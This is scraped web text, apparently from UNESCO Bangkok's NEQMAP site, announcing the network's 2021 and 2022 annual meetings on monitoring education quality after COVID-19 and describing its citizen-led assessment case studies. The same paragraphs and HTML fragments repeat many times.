NEQMAP 2023 priority areas of work<\/li>\n<\/ol>\n\n\n\n<\/p>\n\n\n\nWhen:<\/strong> 15-16 December 2022<\/p>\n\n\n\nWhere:<\/strong> UNESCO Bangkok and via Zoom (Hybrid Modality)<\/p>\n\n\n\nWho:<\/strong> All NEQMAP members, as well as delegates from partner organizations, are invited to participate in this meeting to update each other on their relevant activities and to share their experiences and thoughts on the topic.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy.

In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy.

The focus of the NEQMAP topical case studies has been on how countries in the Asia-Pacific use learning assessment data in education policy and practice. <\/p>\n\n\n\nThe current series (the fourth issue) on <a href=\"https:\/\/neqmap.bangkok.unesco.org\/resource\/citizen-led-assessments-a-model-for-evidence-based-advocacy-and-action-to-improve-learning\/\">\u201cCitizen-led Assessments: A Model for Evidence-based Advocacy and Action to Improve Learning\u201d<\/strong><\/a> was released in June 2021. It illustrates a range of ways to monitor and improve learning through civil action. The Citizen-led Assessments (CLAs) model is designed as a household-based assessment to monitor and identify the most vulnerable and marginalized children, families, and communities who are often left out of school education and common school-based assessments. As such, CLAs serve as a key component of robust education monitoring systems in many developing countries. <\/p>\n\n\n\nCivil society organisations from four South Asian countries namely Bangladesh, India, Nepal and Pakistan have been implementing CLAs to assess and represent the learning levels of all children.

The focus of the NEQMAP topical case studies has been on how countries in the Asia-Pacific use learning assessment data in education policy and practice. <\/p>\n\n\n\nThe current series (the fourth issue) on <a href=\"https:\/\/neqmap.bangkok.unesco.org\/resource\/citizen-led-assessments-a-model-for-evidence-based-advocacy-and-action-to-improve-learning\/\">\u201cCitizen-led Assessments: A Model for Evidence-based Advocacy and Action to Improve Learning\u201d<\/strong><\/a> was released in June 2021. It illustrates a range of ways to monitor and improve learning through civil action. The Citizen-led Assessments (CLAs) model is designed as a household-based assessment to monitor and identify the most vulnerable and marginalized children, families, and communities who are often left out of school education and common school-based assessments. As such, CLAs serve as a key component of robust education monitoring systems in many developing countries. <\/p>\n\n\n\nCivil society organisations from four South Asian countries namely Bangladesh, India, Nepal and Pakistan have been implementing CLAs to assess and represent the learning levels of all children.

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy. NEQMAP organizes on December 15-16, 2022, its annual meeting to take stock of the year\u2019s activities and plan activities for 2023. <\/p>\n\n\n\nNEQMAP\u2019s 2022 Annual Meeting comes at the end of a year 2022 during which countries in Asia-Pacific have reaffirmed their commitments to improving learning for all. In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>. The Bangkok Statement 2022 identified two main priority areas of action for Asia-Pacific: ensuring a timely recovery post-COVID-19 and transforming education to be more relevant, inclusive and resilient. Internationally, the <a href=\"https:\/\/www.un.org\/en\/transforming-education-summit\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">Transforming Education Summit<\/a> <\/strong>convened in New York by the United Nations Secretary General created a new momentum among countries for education reform and achieving the SDG 4 goals. NEQMAP will aim to support countries in Asia-Pacific to meet their commitment through knowledge-sharing and capacity-building in the areas of assessment and monitoring of learning. <\/p>\n\n\n\nThe year ahead is also a historical milestone for the NEQMAP network, which will celebrate its ten-year anniversary.

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy. NEQMAP organizes on December 15-16, 2022, its annual meeting to take stock of the year\u2019s activities and plan activities for 2023. <\/p>\n\n\n\nNEQMAP\u2019s 2022 Annual Meeting comes at the end of a year 2022 during which countries in Asia-Pacific have reaffirmed their commitments to improving learning for all. In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>. The Bangkok Statement 2022 identified two main priority areas of action for Asia-Pacific: ensuring a timely recovery post-COVID-19 and transforming education to be more relevant, inclusive and resilient. Internationally, the <a href=\"https:\/\/www.un.org\/en\/transforming-education-summit\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">Transforming Education Summit<\/a> <\/strong>convened in New York by the United Nations Secretary General created a new momentum among countries for education reform and achieving the SDG 4 goals. NEQMAP will aim to support countries in Asia-Pacific to meet their commitment through knowledge-sharing and capacity-building in the areas of assessment and monitoring of learning. <\/p>\n\n\n\nThe year ahead is also a historical milestone for the NEQMAP network, which will celebrate its ten-year anniversary. The 2022 Annual Meeting will thus aim to plan for this celebratory year by reflecting on the accomplishments of the first decade and exploring how to advance further the work of NEQMAP and its role in promoting better monitoring of learning in Asia-Pacific. <\/p>\n\n\n\nObjectives:<\/strong> The NEQMAP 2022 annual meeting has three main objectives: <\/p>\n\n\n\n<ol>\n<li>To promote knowledge sharing between NEQMAP members on student assessment and monitoring of learning outcomes <\/li>\n\n\n\n<li>To further strengthen NEQMAP\u2019s capacity in knowledge-sharing, capacity building and research around the key themes of learning assessment <\/li>\n\n\n\n<li>To decide on the NEQMAP 2023 priority areas of work<\/li>\n<\/ol>\n\n\n\n<\/p>\n\n\n\nWhen:<\/strong> 15-16 December 2022<\/p>\n\n\n\nWhere:<\/strong> UNESCO Bangkok and via Zoom (Hybrid Modality)<\/p>\n\n\n\nWho:<\/strong> All NEQMAP members, as well as delegates from partner organizations, are invited to participate in this meeting to update each other on their relevant activities and to share their experiences and thoughts on the topic.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy.

In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>.

The focus of the NEQMAP topical case studies has been on how countries in the Asia-Pacific use learning assessment data in education policy and practice. <\/p>\n\n\n\nThe current series (the fourth issue) on <a href=\"https:\/\/neqmap.bangkok.unesco.org\/resource\/citizen-led-assessments-a-model-for-evidence-based-advocacy-and-action-to-improve-learning\/\">\u201cCitizen-led Assessments: A Model for Evidence-based Advocacy and Action to Improve Learning\u201d<\/strong><\/a> was released in June 2021. It illustrates a range of ways to monitor and improve learning through civil action. The Citizen-led Assessments (CLAs) model is designed as a household-based assessment to monitor and identify the most vulnerable and marginalized children, families, and communities who are often left out of school education and common school-based assessments. As such, CLAs serve as a key component of robust education monitoring systems in many developing countries. <\/p>\n\n\n\nCivil society organisations from four South Asian countries namely Bangladesh, India, Nepal and Pakistan have been implementing CLAs to assess and represent the learning levels of all children.

The focus of the NEQMAP topical case studies has been on how countries in the Asia-Pacific use learning assessment data in education policy and practice. <\/p>\n\n\n\nThe current series (the fourth issue) on <a href=\"https:\/\/neqmap.bangkok.unesco.org\/resource\/citizen-led-assessments-a-model-for-evidence-based-advocacy-and-action-to-improve-learning\/\">\u201cCitizen-led Assessments: A Model for Evidence-based Advocacy and Action to Improve Learning\u201d<\/strong><\/a> was released in June 2021. It illustrates a range of ways to monitor and improve learning through civil action. The Citizen-led Assessments (CLAs) model is designed as a household-based assessment to monitor and identify the most vulnerable and marginalized children, families, and communities who are often left out of school education and common school-based assessments. As such, CLAs serve as a key component of robust education monitoring systems in many developing countries. <\/p>\n\n\n\nCivil society organisations from four South Asian countries namely Bangladesh, India, Nepal and Pakistan have been implementing CLAs to assess and represent the learning levels of all children.

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy. NEQMAP organizes on December 15-16, 2022, its annual meeting to take stock of the year\u2019s activities and plan activities for 2023. <\/p>\n\n\n\nNEQMAP\u2019s 2022 Annual Meeting comes at the end of a year 2022 during which countries in Asia-Pacific have reaffirmed their commitments to improving learning for all. In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>. The Bangkok Statement 2022 identified two main priority areas of action for Asia-Pacific: ensuring a timely recovery post-COVID-19 and transforming education to be more relevant, inclusive and resilient. Internationally, the <a href=\"https:\/\/www.un.org\/en\/transforming-education-summit\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">Transforming Education Summit<\/a> <\/strong>convened in New York by the United Nations Secretary General created a new momentum among countries for education reform and achieving the SDG 4 goals. NEQMAP will aim to support countries in Asia-Pacific to meet their commitment through knowledge-sharing and capacity-building in the areas of assessment and monitoring of learning. <\/p>\n\n\n\nThe year ahead is also a historical milestone for the NEQMAP network, which will celebrate its ten-year anniversary.

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy. NEQMAP organizes on December 15-16, 2022, its annual meeting to take stock of the year\u2019s activities and plan activities for 2023. <\/p>\n\n\n\nNEQMAP\u2019s 2022 Annual Meeting comes at the end of a year 2022 during which countries in Asia-Pacific have reaffirmed their commitments to improving learning for all. In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>. The Bangkok Statement 2022 identified two main priority areas of action for Asia-Pacific: ensuring a timely recovery post-COVID-19 and transforming education to be more relevant, inclusive and resilient. Internationally, the <a href=\"https:\/\/www.un.org\/en\/transforming-education-summit\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">Transforming Education Summit<\/a> <\/strong>convened in New York by the United Nations Secretary General created a new momentum among countries for education reform and achieving the SDG 4 goals. NEQMAP will aim to support countries in Asia-Pacific to meet their commitment through knowledge-sharing and capacity-building in the areas of assessment and monitoring of learning. <\/p>\n\n\n\nThe year ahead is also a historical milestone for the NEQMAP network, which will celebrate its ten-year anniversary. The 2022 Annual Meeting will thus aim to plan for this celebratory year by reflecting on the accomplishments of the first decade and exploring how to advance further the work of NEQMAP and its role in promoting better monitoring of learning in Asia-Pacific. <\/p>\n\n\n\nObjectives:<\/strong> The NEQMAP 2022 annual meeting has three main objectives: <\/p>\n\n\n\n<ol>\n<li>To promote knowledge sharing between NEQMAP members on student assessment and monitoring of learning outcomes <\/li>\n\n\n\n<li>To further strengthen NEQMAP\u2019s capacity in knowledge-sharing, capacity building and research around the key themes of learning assessment <\/li>\n\n\n\n<li>To decide on the NEQMAP 2023 priority areas of work<\/li>\n<\/ol>\n\n\n\n<\/p>\n\n\n\nWhen:<\/strong> 15-16 December 2022<\/p>\n\n\n\nWhere:<\/strong> UNESCO Bangkok and via Zoom (Hybrid Modality)<\/p>\n\n\n\nWho:<\/strong> All NEQMAP members, as well as delegates from partner organizations, are invited to participate in this meeting to update each other on their relevant activities and to share their experiences and thoughts on the topic.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy.

In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>.

The focus of the NEQMAP topical case studies has been on how countries in the Asia-Pacific use learning assessment data in education policy and practice. <\/p>\n\n\n\nThe current series (the fourth issue) on <a href=\"https:\/\/neqmap.bangkok.unesco.org\/resource\/citizen-led-assessments-a-model-for-evidence-based-advocacy-and-action-to-improve-learning\/\">\u201cCitizen-led Assessments: A Model for Evidence-based Advocacy and Action to Improve Learning\u201d<\/strong><\/a> was released in June 2021. It illustrates a range of ways to monitor and improve learning through civil action. The Citizen-led Assessments (CLAs) model is designed as a household-based assessment to monitor and identify the most vulnerable and marginalized children, families, and communities who are often left out of school education and common school-based assessments. As such, CLAs serve as a key component of robust education monitoring systems in many developing countries. <\/p>\n\n\n\nCivil society organisations from four South Asian countries namely Bangladesh, India, Nepal and Pakistan have been implementing CLAs to assess and represent the learning levels of all children.

The focus of the NEQMAP topical case studies has been on how countries in the Asia-Pacific use learning assessment data in education policy and practice. <\/p>\n\n\n\nThe current series (the fourth issue) on <a href=\"https:\/\/neqmap.bangkok.unesco.org\/resource\/citizen-led-assessments-a-model-for-evidence-based-advocacy-and-action-to-improve-learning\/\">\u201cCitizen-led Assessments: A Model for Evidence-based Advocacy and Action to Improve Learning\u201d<\/strong><\/a> was released in June 2021. It illustrates a range of ways to monitor and improve learning through civil action. The Citizen-led Assessments (CLAs) model is designed as a household-based assessment to monitor and identify the most vulnerable and marginalized children, families, and communities who are often left out of school education and common school-based assessments. As such, CLAs serve as a key component of robust education monitoring systems in many developing countries. <\/p>\n\n\n\nCivil society organisations from four South Asian countries namely Bangladesh, India, Nepal and Pakistan have been implementing CLAs to assess and represent the learning levels of all children.

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy. NEQMAP organizes on December 15-16, 2022, its annual meeting to take stock of the year\u2019s activities and plan activities for 2023. <\/p>\n\n\n\nNEQMAP\u2019s 2022 Annual Meeting comes at the end of a year 2022 during which countries in Asia-Pacific have reaffirmed their commitments to improving learning for all. In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>. The Bangkok Statement 2022 identified two main priority areas of action for Asia-Pacific: ensuring a timely recovery post-COVID-19 and transforming education to be more relevant, inclusive and resilient. Internationally, the <a href=\"https:\/\/www.un.org\/en\/transforming-education-summit\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">Transforming Education Summit<\/a> <\/strong>convened in New York by the United Nations Secretary General created a new momentum among countries for education reform and achieving the SDG 4 goals.

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy. NEQMAP organizes on December 15-16, 2022, its annual meeting to take stock of the year\u2019s activities and plan activities for 2023. <\/p>\n\n\n\nNEQMAP\u2019s 2022 Annual Meeting comes at the end of a year 2022 during which countries in Asia-Pacific have reaffirmed their commitments to improving learning for all. In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>. The Bangkok Statement 2022 identified two main priority areas of action for Asia-Pacific: ensuring a timely recovery post-COVID-19 and transforming education to be more relevant, inclusive and resilient. Internationally, the <a href=\"https:\/\/www.un.org\/en\/transforming-education-summit\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">Transforming Education Summit<\/a> <\/strong>convened in New York by the United Nations Secretary General created a new momentum among countries for education reform and achieving the SDG 4 goals. NEQMAP will aim to support countries in Asia-Pacific to meet their commitment through knowledge-sharing and capacity-building in the areas of assessment and monitoring of learning. <\/p>\n\n\n\nThe year ahead is also a historical milestone for the NEQMAP network, which will celebrate its ten-year anniversary.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

